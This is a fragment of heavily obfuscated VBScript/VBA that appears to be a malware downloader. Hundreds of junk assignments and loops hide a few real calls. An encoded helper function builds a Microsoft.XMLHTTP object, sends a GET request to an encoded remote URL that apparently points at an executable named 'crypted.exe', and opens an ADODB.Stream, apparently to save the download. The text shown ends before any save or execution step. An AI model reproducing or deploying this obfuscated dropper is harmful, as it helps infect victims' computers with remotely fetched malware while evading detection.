    zWwblz = RTrim("f?OW&Mh@Um# H.OWod")
    qCRlEDcV = StrReverse("C UJLCMc*Emd")
    TglFcp = RTrim("]ow!T#MXD[BoaD)hyOy")
    AIuGjLXT = 1699 - 1288 - 1641
    CNJvG = 448 - 1853 - 1797
    CNJvG = RTrim("UOWMpU*]$IW")
    siovYpPz = LTrim("Qmi)SUmJ]hJIQ)(!y%KM")
    Set IvAYdwj = CreateObject("" & "" & FHTFi("M?iLclrgoKsKoTfqt@.YXOMVL^HnTYT!Pn") & "" & "")
    For ePIkRP = 0 To 2
        For BLYApZ = 0 To 6
            CNJvG = 1228 - 1290 - 453
            CNJvG = 1189 - 785 - 1627
            FXZpz = RTrim("tEdX.vCsPfP&Y@Iz)")
            WyPHzA = RTrim("qd qlQCK-Q")
            TglFcp = Right("ug-aBH-Yk[[$mz[m$m", 4)
            AIuGjLXT = StrReverse("WoGM)SpmrD^-J^SVBmqs")
        Next BLYApZ

        WyPHzA = Space(10)
        FXZpz = "xd!$cl&Yy-!_dIR" + "#%-^$q#*wG" + "yB.SOLVVeMi"
    Next ePIkRP

    qCRlEDcV = Left("tuwMUx_n(#bA", 4)
    siovYpPz = LTrim("dSAy_#I)EwAo!pXA?Sk.")
    For wvnioO = 0 To 5
        TglFcp = LTrim("aKxUBDRA)cIPFgXeh")
        qCRlEDcV = ")Xd.?Lmtv@]KiGEdMs" + "ralEyRzBwPBse@" + "IsQ&Iufc(RQ*!YXzuCH"
        qCRlEDcV = StrReverse("yXFpSDAu.kNX")
        qCRlEDcV = "elgWN-muygaoyW" + "G-rZZQA^kCOG" + "iyZjmd@$@U"
        CNJvG = StrReverse("p-q-VRJoYH")
        ULpDDAs = LTrim("KgVngdbc??m&")
        AIuGjLXT = Space(20)
        qCRlEDcV = LTrim(")[Wtj%kLbm_#g[)UIN")
    Next wvnioO

    FXZpz = "$#nHy vq^m" + "(mjL(au-?.-t?Cc" + "_AnQFkR^UaCb?AGlWJF"
    yoBCOyNLGTta = LTrim("XzTeOhKu%Iol(")
    yoBCOyNLGTta = Left("YURTo.] o^", 3)
    CNJvG = Right("vW#BgJOCZI", 2)
    AIuGjLXT = 1561 - 1959 - 399
    AIuGjLXT = StrReverse("s!Xkn!z@d]?)UK[FVC#q")
    ULpDDAs = "&r@[FiBXMbyI" + "r_HW*R)T ^WVxU" + "eMvU$g[BW&&xy NRe. !"
    AIuGjLXT = RTrim("-B)(WU(^^EI%^qgNvH")
    ULpDDAs = StrReverse("VOT#My^mqCTt")
    siovYpPz = Left("vel%t[Ha_EU]K", 3)
    FXZpz = Space(17)
    For qTRUuB = 0 To 8
        CNJvG = UCase("HRn*pXWyaKbJ(-l")
        siovYpPz = Left("k$W.CSb(]q", 5)
        siovYpPz = "HendQN][#RdDEt!" + "cMISGu!dVb" + "BR(M?zx Izd.wguM&[@S"
        zWwblz = Right("g^UgRwi!W^ynW%z?)", 3)
        AIuGjLXT = "HJQ*zt Ux(!?p_W" + "u)QrAE?O#yJS" + "[F%]xatw^fkV"
        siovYpPz = RTrim("[YFbEwCSBe!CB]Y*Ib]")
    Next qTRUuB

    zWwblz = 1392 + 663 + 911
    WyPHzA = 871 - 201 - 1478
    ULpDDAs = Right("XF!#OVew_Z(RBh", 3)
    yoBCOyNLGTta = 529 + 996 + 1225
    ULpDDAs = StrReverse("SLXJz[?TpnXy%]*")
    ULpDDAs = Right("crmCcX%Cd@", 3)
    FXZpz = Space(8)
    qCRlEDcV = Left("$&kx-Rnu)b!aeT!O", 5)
    yoBCOyNLGTta = RTrim("CBGOEXa?LG(ll[@T j")
    TglFcp = "YqoMmqXg!Ra" + " M --_vLXzEuTr" + "_@t%mfsXjWzxx!"
    zWwblz = Space(17)
    While IXcPBG < 3
        For mRzTPI = 0 To 6
            qCRlEDcV = Left("q yTX&nCRz)@vnHfN", 3)
            FXZpz = LTrim("q@Bq@Gc*w$p*PVVQF]")
            ULpDDAs = Space(2)
            WyPHzA = "L!Kd?odH!z%dkoGfchv" + "# C?ZvCu!SLhW^gH" + "tWdwf*_&nn"
            AIuGjLXT = LTrim("AT%pr!L$J[aqbOUi%L")
            yoBCOyNLGTta = 212 + 1724 + 337
            yoBCOyNLGTta = LTrim(")SeOFopD_KQYY-iX")
            AIuGjLXT = Right("N_GUlZ&#?TJpeJ", 5)
            CNJvG = Left("l_cHIFYHtjqmYS?kx", 2)
        Next mRzTPI

        WyPHzA = UCase("qs-xj?Kv&aCQmxV^&")
        qCRlEDcV = LTrim("y$#wF)gRfMOsA@")
        CNJvG = RTrim("jVf_o?XmT.")
        ULpDDAs = "vHnN!WJrW-AcKsCG e" + "I[&%Zfikk]GG)KnGL" + "-*Y@TSkuHRIAYuyJc"
        WyPHzA = Space(16)
        TglFcp = 1686 - 1733 - 554
        yoBCOyNLGTta = UCase("b#AbuKIn-^N@[wi")
        AIuGjLXT = Right("stKctfpmD.gw", 2)
        IXcPBG = IXcPBG + 1
    Wend

    For cAJnIn = 0 To 5
        While DYiXms < 3
            TglFcp = Left("d.^xjVBXBA-THo^?_FB", 5)
            qCRlEDcV = LTrim("houdSL@&wr$CW")
            AIuGjLXT = "FXe%MeQuf " + "E$fFzL(?AjuVF" + "%QpdrLRclQ$"
            qCRlEDcV = Right("^TM$T^_FWKyG", 5)
            FXZpz = 1021 + 1217 + 1084
            ULpDDAs = RTrim(" ]zsqK*?kK")
            DYiXms = DYiXms + 3
        Wend

        CNJvG = Left("sENqduoua pc?Px^LWE", 3)
        ULpDDAs = Space(2)
        TglFcp = Space(3)
        qCRlEDcV = Left("ax!F__NHrCQmZ^", 3)
        qCRlEDcV = StrReverse("jIig]RvZbrWWDO_jsx")
        yoBCOyNLGTta = 217 + 681 + 1765
        zWwblz = RTrim("?WNDYHX^Y.C")
        CNJvG = "DEjt[#LFwd." + "c)L.MCGTmesIF_je_^R" + "L#EbaSdaI."
        ULpDDAs = 1182 - 1391 - 289
        TglFcp = "aQkYevt-Ejph@" + "MBc%ChUmy(L*eeUlYPoq" + "Db]fU_@tDjsiXyi&Jo"
    Next cAJnIn

    qCRlEDcV = Left("Y%#)O(SS^RRqzJGr(q", 2)
    IvAYdwj.Open FHTFi("GVEhTF"), FHTFi("h-t tnpGsg:v/y/-aegVgTrHg@-.yjtXuS5r5!.Wg#qR/Qw]e@bcfRiblsew/lc)rHy.petle#dd.!eLx@eG"), False
    zWwblz = "$i@!#E&EEMrz" + "k#Js(UFJwp]" + "CDzE#uuxKwoIoycuT?"
    For ngUson = 0 To 2
        While xGRtMn < 4
            TglFcp = 1197 - 179 - 215
            siovYpPz = Right("-ED SUiuZ*jirU*QFUS#", 5)
            CNJvG = Right("hEac?jcs-^TB", 3)
            FXZpz = UCase("aaUOnTZV]A.BG")
            xGRtMn = xGRtMn + 3
        Wend

        WyPHzA = Right("q.U@hO-#e_", 5)
        AIuGjLXT = UCase("IAeBT(vvLaDN(rrhOBX")
        CNJvG = RTrim("YFTZxIErgTXaXMwURi")
        TglFcp = Right("LkLK@q(i.jQuKP", 3)
        qCRlEDcV = Right("]OyQdd(r-gP]((FsRg", 4)
        FXZpz = "YSfPM*lT! K^#" + "A*qU__-reIakc" + "?%$eMS.Rv^Dn"
    Next ngUson

    siovYpPz = LTrim("nGlTH_Zwt Pau!s")
    yoBCOyNLGTta = UCase("[n@X!BtxlA&g_Q@F")
    zWwblz = "Wz&bmFc#(DHRRd)" + "bWa._Ferre*)" + "v!nU_t$TRM"
    qCRlEDcV = RTrim("Hfv^& Gg.wc!Nd")
    ULpDDAs = 1506 + 1851 + 1752
    While TYeMZD < 3
        ULpDDAs = LTrim(")PNrNb%#t(ig")
        ULpDDAs = UCase("tEe.q!erjC]!rYTgtPq")
        TYeMZD = TYeMZD + 3
    Wend

    TglFcp = 1407 - 1045 - 1364
    TglFcp = Right("vCvkz$]h@oNZSnw-Mu", 5)
    TglFcp = StrReverse("Db(SiAKlwprP_M")
    yoBCOyNLGTta = Space(10)
    qCRlEDcV = LTrim(" %tQxsWT S(M")
    siovYpPz = Right("aFtq%Vh[DXLS$xgp", 3)
    zWwblz = Space(15)
    TglFcp = Space(10)
    CNJvG = "!j!%XW^kBBfa(r" + "Dd[HydmHn-KBqG" + "sTg[&^@iR@"
    yoBCOyNLGTta = LTrim("^?NGf^fEuQQOxKigN!")
    TglFcp = "aZcNVO!w*RAroZSS.vw@" + "F?P^AYbOoRDjS[" + "x(YCXL&*]mSeaBZ&"
    qCRlEDcV = Left("u(dXR@n!dEEi])", 4)
    For hAFNhG = 0 To 5
        CNJvG = Space(12)
        yoBCOyNLGTta = RTrim("xmbIE&&yzz A aTZcvx%")
        zWwblz = Space(19)
        zWwblz = Right("?O(AtS [(J", 3)
        AIuGjLXT = 1388 + 1372 + 475
        TglFcp = Right("fzoAR.(*hU", 3)
    Next hAFNhG

    zWwblz = LTrim("lDTbFbO#.aA[kM")
    WyPHzA = LTrim("VmGBTBRjCa-VISVA^DAq")
    FXZpz = LTrim("Zz-k*ZxYXB(Cm")
    siovYpPz = StrReverse("%mp.^rerfJOH^D")
    siovYpPz = "TiaCOMM@p#K(UxO[IQ" + "?TZpfZafs(?-xu)Q" + "#$Ab@$F&i^"
    qCRlEDcV = Right("z^elxHOIwD%Vs^v", 2)
    ULpDDAs = "wKPP[t-pGyRH(HM$" + "hUENlJcutuXDpwT-" + "vF&nl]JST$)uaI"
    siovYpPz = 1829 + 1666 + 774
    siovYpPz = LTrim("i]M$PnNtXgI")
    AIuGjLXT = Space(1)
    ULpDDAs = UCase("Pjh qM)H?vq.RMC")
    WyPHzA = "mbzFBl!Uu_" + "FupvxduYEMEC$u(hm^-" + "KyU^dLnI*yVo"
    IvAYdwj.send
    For WgxmZW = 0 To 5
        yoBCOyNLGTta = StrReverse("icZHJWiaEIG")
        qCRlEDcV = 697 + 1561 + 607
        ULpDDAs = StrReverse("(#IJqg@SvEkiWDQMdYH")
        zWwblz = 1029 + 521 + 1738
        TglFcp = 442 + 1944 + 1201
        CNJvG = LTrim(")G@ghFrt^XUS ")
        AIuGjLXT = Right("tLAAiS$(CP$_oo", 4)
        zWwblz = "%sXPV&IEL_]w[fBtWl^" + "zD%$x]J.%eH_@" + "&jluqoTtPT"
        yoBCOyNLGTta = 1744 + 1492 + 1568
        ULpDDAs = StrReverse("k_ Fu%#um.@GZ )km")
    Next WgxmZW

    AIuGjLXT = RTrim("rEbQuOelL@T")
    TglFcp = Left("VhLfb)dAymXryeqJU", 3)
    WyPHzA = Left("fkQwe!Glyh", 2)
    zWwblz = "R)Ow)y u[%ZVC(N" + "gZQOh-HaWQC ?x" + "B(c*Mk@aVYj@l*#"
    FXZpz = StrReverse("tvCckXp (U@BoRENZx$)")
    For UKIEUY = 0 To 9
        WyPHzA = Right("nSBLNlKp.xwUW[Puez#", 2)
        siovYpPz = StrReverse("S Lce%i WORp")
        WyPHzA = Right("x.Hz#_Z!vK", 5)
        FXZpz = 567 - 972 - 1760
        qCRlEDcV = 960 - 508 - 1108
        WyPHzA = Right("lsqAXY%(NYtSegrwAwk", 2)
        qCRlEDcV = 1735 + 1892 + 656
        FXZpz = Space(2)
        FXZpz = 232 + 1320 + 1004
        zWwblz = LTrim("]D@tf.babLn")
    Next UKIEUY

    qCRlEDcV = UCase("P b.zIuQPoY(iek%O")
    FXZpz = 237 + 1479 + 1934
    WyPHzA = Left("Beea(fPRcHhST.Jayeoh", 3)
    siovYpPz = Left("xlN!LX$XKXLZH)MM", 4)
    ULpDDAs = Space(10)
    TglFcp = LTrim("LV)fb^xOE$xmdCY")
    zWwblz = StrReverse("DWFcbJjfkj")
    ULpDDAs = LTrim("-P_QnrYv#_h%noO")
    AIuGjLXT = UCase("uKP[aVJ^^Sx[@")
    TglFcp = Left("UvlUPYn-!&ym*Vcju", 3)
    WyPHzA = 727 - 353 - 788
    For IANwsG = 0 To 1
        For yJHrMA = 0 To 5
            ULpDDAs = StrReverse("#)TxDP%rK%gWRE")
            AIuGjLXT = StrReverse("_YOMTOXMgjwzx)za_")
            WyPHzA = StrReverse("(!iae?T?.NVFR")
            WyPHzA = Left("-p%]nmtW]SzVvY[w", 2)
            ULpDDAs = 1429 - 897 - 1150
            qCRlEDcV = UCase("Y&W.LpA(H[PihVDhbw")
            zWwblz = Space(7)
        Next yJHrMA

        siovYpPz = "*(tjTdN YwMur" + "NaG#xbeofABv]pA**Z" + "c.XX FnIk-AnysTQ$(W%"
        TglFcp = RTrim("H#Bk_dvNhC#*ir?qwyo")
        qCRlEDcV = UCase("lRyCe!jTh)MN")
        AIuGjLXT = Space(18)
        CNJvG = Left("Bd!u%TZoMpk[$*M&", 5)
        WyPHzA = RTrim("R^D?w#idRG@a%WOwD")
        FXZpz = Space(12)
        qCRlEDcV = Space(10)
        ULpDDAs = 313 + 989 + 1588
    Next IANwsG

    WyPHzA = LTrim("yLcssRC(_spVwYy")
    TglFcp = 1756 + 244 + 1835
    zWwblz = UCase("crXvidPz]#)aH")
    WyPHzA = "D_[]$jpjGzwD" + "f.mg*F^F(X" + "kv&BM*VmROWp@umM("
    AIuGjLXT = "s#_GvS$MFZ(qcXr" + "oqCqRzNd$ht.ZDWy" + "jlRtErsUPO&@.OKFS  "
    CNJvG = UCase("&UqGROnUPS?ET")
    TglFcp = Left("GmhtHRB)QvfeBGAOD-]M", 4)
    CNJvG = LTrim(" DS-VT%FHoX")
    yoBCOyNLGTta = UCase("cQdv NcTE@")
    siovYpPz = Right("L W^&e$#BlgueM&Ra", 4)
    siovYpPz = Right("GQkcLR$lPUFqt?JD", 5)
    Set xfJGFzbz = CreateObject("" & "" & FHTFi("AiD_OoDFBq.tSStjrge#atm*") & "" & "")
    FXZpz = Space(20)
    FXZpz = RTrim("&mgpBq]@im!dEwWAsS")
    While alxTlU < 1
        For doBuVq = 0 To 9
            TglFcp = Space(3)
            TglFcp = StrReverse("O_TEHJiZwhcj-J")
            CNJvG = UCase("n.iWnX^FH X")
            CNJvG = Left("x^Ysa&UFvBy V", 4)
            TglFcp = ".[[esRYmhBjY" + "Msb]]*Eo oBzBzzBn" + "sZYSRXRoReIh)(SWMlz$"
            siovYpPz = Right("OsGtsS.C!t?rT", 4)
            TglFcp = LTrim("VSn]dnWAz[.VH")
            CNJvG = RTrim("y[]cnlQFuE%aVL")
            yoBCOyNLGTta = 282 - 1543 - 1618
            FXZpz = 395 - 1772 - 538
        Next doBuVq

        TglFcp = LTrim("Eseom?hnhYE[IGodh)")
        zWwblz = LTrim("vQC$P*@xTp-!fT")
        yoBCOyNLGTta = Space(8)
        WyPHzA = " A#N.qli#n" + "!dj.FbqdnGAMEWUV]z(" + "gElQmLyNtbJZmRaM _T"
        CNJvG = Space(5)
        siovYpPz = RTrim("ZeGTFlQ]h-e")
        zWwblz = Right("_H-uA UlSeLgwbvaq%", 5)
        alxTlU = alxTlU + 3
    Wend

    While nIbihy < 1
        siovYpPz = Space(1)
        zWwblz = RTrim("_^AVQ(pH-Og-Hg! n?")
        FXZpz = Right("DfguhAjI@E [IjZ", 2)
        AIuGjLXT = RTrim("YhDbj)?fmQ!JPvw")
        AIuGjLXT = LTrim("gmniI_-aRX$t o#Gi-")
        zWwblz = 211 + 765 + 1780
        CNJvG = StrReverse("h.@G XSTsbsqj-_DFI?H")
        siovYpPz = UCase("[sl&.FSvq&y")
        nIbihy = nIbihy + 2
    Wend

    WyPHzA = RTrim("rHZBs#f )V*Hl]")
    AIuGjLXT = StrReverse("?AWr#.EpLDa%Vvz ")
    WyPHzA = "aItCqIWzLL[yQY*mT^I" + "vgaa#LP PssoIsiTJ$" + "Y_(&Y?hRAB"
    yoBCOyNLGTta = "u#sA]@v[j]Be" + "*d&_EcpV.x^dePejZx)E" + "yE*c#VjZ&*[-jPMv"
    CNJvG = 1726 + 889 + 1454
    siovYpPz = 344 + 823 + 1562
    WyPHzA = LTrim("WUZGn@)ERGQk&c^Z@")
    For ywOUes = 0 To 10
        AIuGjLXT = StrReverse("SeW&Nj&SdM(T@Q]E")
        yoBCOyNLGTta = 948 + 1949 + 331
        yoBCOyNLGTta = RTrim("I[h$N#yB BrN(")
        siovYpPz = "?_[UgkPNrPX" + "#@Erd[LldRHo@C" + "!Zp(FtnFvI_Xg"
        qCRlEDcV = "@yHFda@LM.dricK" + "h_bKka#wGp[WNh" + "kQt-&-E?fu]N"
    Next ywOUes

    zWwblz = RTrim("Qdue[flkA)Jv%CUSp oy")
    While vJpxFh < 5
        For gXHWvK = 0 To 6
            FXZpz = "!]dM#p#xVeIToDOc" + "DQ@yX%F-&PJ" + "rbRVKGoC[CHqm"
            FXZpz = 109 - 426 - 105
            AIuGjLXT = LTrim("&&VSWD)Ol-nKM lMyu")
            ULpDDAs = Space(7)
            zWwblz = Space(18)
            ULpDDAs = Space(1)
        Next gXHWvK

        qCRlEDcV = LTrim("xvD^S-KM*@O_Mz]_?q")
        WyPHzA = "r#pqdNwookqb_U_.S[f!" + "O!&?Wlym%E(rE" + "VJyM!RolENw!hbqpCF"
        ULpDDAs = Left("QQ_uSqmF!w*![Da&", 5)
        WyPHzA = 1587 + 1832 + 1530
        qCRlEDcV = UCase("[.MElmi?@]t$i#")
        AIuGjLXT = StrReverse("r%KSExYQvKI")
        siovYpPz = "PGVMJZZkLqC." + "TO#VTZ#cKDkHS" + "?%Ose#B QCZ"
        vJpxFh = vJpxFh + 2
    Wend

    siovYpPz = Space(7)
    AIuGjLXT = UCase("bh&MAeNn]]tK*j J%Jd")
    AIuGjLXT = 1920 + 554 + 272
    For ogcPCt = 0 To 8
        ULpDDAs = 1383 + 362 + 376
        qCRlEDcV = LTrim("-]uxPtbyCPYy")
        AIuGjLXT = 750 - 659 - 1220
    Next ogcPCt

    siovYpPz = Right("-dtXRH#tPhEC[puObwg", 5)
    qCRlEDcV = 472 + 785 + 1383
    CNJvG = Space(7)
    qCRlEDcV = "zcP#Nzk(VIKCjbJakH" + "k&RlLydQjE?h#K^c" + "XikKYyggvr& o]x#o"
    While nmgyXe < 5
        For CnmKfk = 0 To 6
            qCRlEDcV = "Buf&rER[td$" + "oAQN!Sb(GbERMU" + "@]WYjyBnQIW)l%ERb.C"
            ULpDDAs = RTrim("bdE#(Gv.E%(p$h")
            FXZpz = 781 + 203 + 1040
            WyPHzA = UCase("aKG]stnec@P%rAzM")
            siovYpPz = 352 + 395 + 377
            siovYpPz = Right("[-y(?%Z*BYZ[&@urGd", 2)
            qCRlEDcV = Left("btcu$x?klJJA", 5)
            TglFcp = 1928 + 720 + 1113
            ULpDDAs = StrReverse("Z[Y_G@IoKJK.z")
        Next CnmKfk

        yoBCOyNLGTta = 938 + 440 + 869
        siovYpPz = 1683 - 451 - 1543
        qCRlEDcV = 1087 + 525 + 1705
        qCRlEDcV = 1175 + 165 + 694
        AIuGjLXT = Right("HPe(LNpK$kHhvu@olaj", 5)
        nmgyXe = nmgyXe + 3
    Wend

    yoBCOyNLGTta = 674 + 256 + 1836
    While PKOKzl < 5
        qCRlEDcV = "sF^T!]Ds(." + "mIHL[K(oc%r?gXiy" + ")SITRpC sYkxU&.I"
        zWwblz = LTrim("B[hOZaOg_Rw")
        ULpDDAs = Right("P%JU^*(zfbg!vb^vL", 2)
        AIuGjLXT = "UpngCQbLd*Svkg" + "N-.K-#edt*JF^" + "%Hji*%JN%&smo fQ"
        CNJvG = 1527 - 552 - 937
        WyPHzA = RTrim("*[A(RWIfCe?s")
        zWwblz = Left("AT@Z?%)daN", 3)
        PKOKzl = PKOKzl + 3
    Wend

    TglFcp = UCase("FElj. vaovlJF&wu")
    yoBCOyNLGTta = LTrim("IBwNzi&%yh)Z?BI^ztQw")
    TglFcp = LTrim("rA!?*].%Ip]UEr")
    siovYpPz = 1141 + 1756 + 1363
    TglFcp = StrReverse("@R)-N@w^FobvnLA")
    While CdcMDy < 1
        While wJEpqh < 4
            FXZpz = "vRcJknRXdMbdI" + "c_fQzdDw^#*Qx.(." + "H&Wr&XWQcB%b$uVUm?y"
            ULpDDAs = Left("a^xq@xQM&-utA@!W_", 4)
            zWwblz = RTrim("eFaQtd&Us?TlD")
            WyPHzA = 1040 - 1372 - 858
            ULpDDAs = RTrim("EUB(-ctB!gsJ")
            ULpDDAs = Space(4)
            CNJvG = Left("EA*XI Pm?LHUw", 2)
            TglFcp = Right("HNa]zMgsqL dq", 3)
            TglFcp = RTrim("$lYD(EgKQf bgJ")
            siovYpPz = RTrim("YpA(zAg^UjCJe*")
            wJEpqh = wJEpqh + 2
        Wend

        yoBCOyNLGTta = StrReverse("hdFtgXGMG(!gPuTv!Guo")
        AIuGjLXT = Left("i]oSnWOCk.uM", 4)
        qCRlEDcV = 995 - 1471 - 1552
        WyPHzA = 1546 + 924 + 1053
        qCRlEDcV = RTrim("eaC(c^j&Z-hYSb -gtQ")
        TglFcp = LTrim("WgwTVG)qIo@")
        FXZpz = LTrim("*uw[AU?wSvn")
        yoBCOyNLGTta = 1978 + 1814 + 1982
        CdcMDy = CdcMDy + 1
    Wend

    CNJvG = 1919 + 1973 + 636
    xfJGFzbz.Open
    yoBCOyNLGTta = StrReverse("OmJ&x%uqZU&")
    While VFbNHv < 3
        While AoMMnZ < 2
            zWwblz = Space(1)
            WyPHzA = LTrim("^Xvr(ILHIWZSUn")
            ULpDDAs = 1600 - 525 - 194
            WyPHzA = Space(18)
            siovYpPz = Left("[PwjyWaf!)WwaY!", 5)
            FXZpz = 155 - 1128 - 395
            CNJvG = Space(12)
            AoMMnZ = AoMMnZ + 2
        Wend

        ULpDDAs = LTrim("*[qDEiAHl!IRlkr#JtH")
        CNJvG = 864 + 896 + 1766
        WyPHzA = Right("McXk$!nlE%V-N^Gr", 2)
        WyPHzA = "wiPY$cWNt-" + "UOGblqnS*. I?_" + "BwY-blI_khvZN-qYZ"
        zWwblz = Right("EqCUo)k(yFv.[c", 5)
        AIuGjLXT = 106 - 435 - 813
        VFbNHv = VFbNHv + 1
    Wend

    yoBCOyNLGTta = StrReverse("Q)TaAjnq.[VewJoFtqs")
    FXZpz = "cf)s*U_mFgyzT F?" + "azlAo^dHy$v?NwdyV" + "!(CNrlViunT"
    zWwblz = Right("]CsnJ_ k^p(n", 2)
    siovYpPz = UCase("tsoEUx(#tIfe(g")
    zWwblz = Space(20)
    siovYpPz = StrReverse("!zShlW?vWOvjX")
    TglFcp = 138 - 1714 - 714
    TglFcp = "L&aJQW[YP#T" + "X[YjmVH.m!e%awcav" + ".#$oFzUaOyZJ_aMygJr)"
    FXZpz = "Zi $$V(!q)-l" + "Fg][j#V(-j" + "IH^!*MogAfUwmPS ^"
    For HRhRuT = 0 To 2
        While yBPEYN < 5
            siovYpPz = RTrim("iU#@S!N$GTIiw")
            zWwblz = 719 - 1389 - 255
            yoBCOyNLGTta = 904 + 1629 + 1848
            qCRlEDcV = 260 + 863 + 1796
            zWwblz = 1667 + 1887 + 1125
            yBPEYN = yBPEYN + 1
        Wend

        siovYpPz = Space(20)
        siovYpPz = UCase("-!m[hiwEIWpHTO$c")
        AIuGjLXT = Left("Mv.W$GLvC?xX*^oyO", 2)
        AIuGjLXT = StrReverse("ggX#e_N(IV?J&]?hDIV")
        zWwblz = UCase("OmL^CzTL*eGRTlkgD")
        ULpDDAs = Right("p?wXN&P-Oiq", 4)
        TglFcp = 1916 + 1118 + 960
    Next HRhRuT

    FXZpz = LTrim("INg ZSN-FBl.xbS")
    CNJvG = Space(15)
    AIuGjLXT = UCase("*dN&R$VTcW^uMPrl")
    CNJvG = Space(19)
    siovYpPz = "vkZ-y?wULoFqP" + "l&nitVH*WfFzq!uKMC(x" + "[NgboX#m!(XY^#%s#"
    TglFcp = Right("Oy*kGOgdJrzX?Ow_", 2)
    AIuGjLXT = StrReverse("QR.qCnHvd]gTRle")
    qCRlEDcV = Right("Gq?FSZeE (YpPS", 3)
    FXZpz = 1495 + 744 + 897
    WyPHzA = StrReverse("#RgZA.)dDKK$")
    yoBCOyNLGTta = 784 + 482 + 1524
    yoBCOyNLGTta = 251 + 1190 + 1664
    While FZsSXb < 5
        While RTTMAK < 4
            TglFcp = StrReverse("sYoQ.V_h)GGsf(gvn")
            TglFcp = 1748 + 203 + 1893
            AIuGjLXT = UCase("X!(RJxYMZcIHV?")
            CNJvG = 663 - 298 - 1699
            zWwblz = 1967 + 1973 + 1896
            TglFcp = Right(".v(DAK?QSt$lFK", 3)
            CNJvG = RTrim("r.uLBAMm]D&XC-a?$Z$")
            RTTMAK = RTTMAK + 2
        Wend

        ULpDDAs = Right("z#b(NVDiSrs.Hgk", 2)
        WyPHzA = LTrim("Ot?(LIP#V*GvQTjOXLv")
        siovYpPz = RTrim("WYhjoE#N?]GgET")
        yoBCOyNLGTta = 512 - 800 - 1283
        qCRlEDcV = "bSDXz][iE(F!vKCPAS-" + "S^ gwPhwjVvCrjXMzI$" + "R^r?gHjCDLZUgfBO"
        siovYpPz = Space(17)
        AIuGjLXT = Left("DoAfBClhsfTGZqRt&!d", 5)
        FZsSXb = FZsSXb + 2
    Wend

    zWwblz = Left("E[Hj&nUW.DpGQEHq_w", 2)
    zWwblz = 724 - 157 - 242
    zWwblz = StrReverse("?wqd.sGtK?f")
…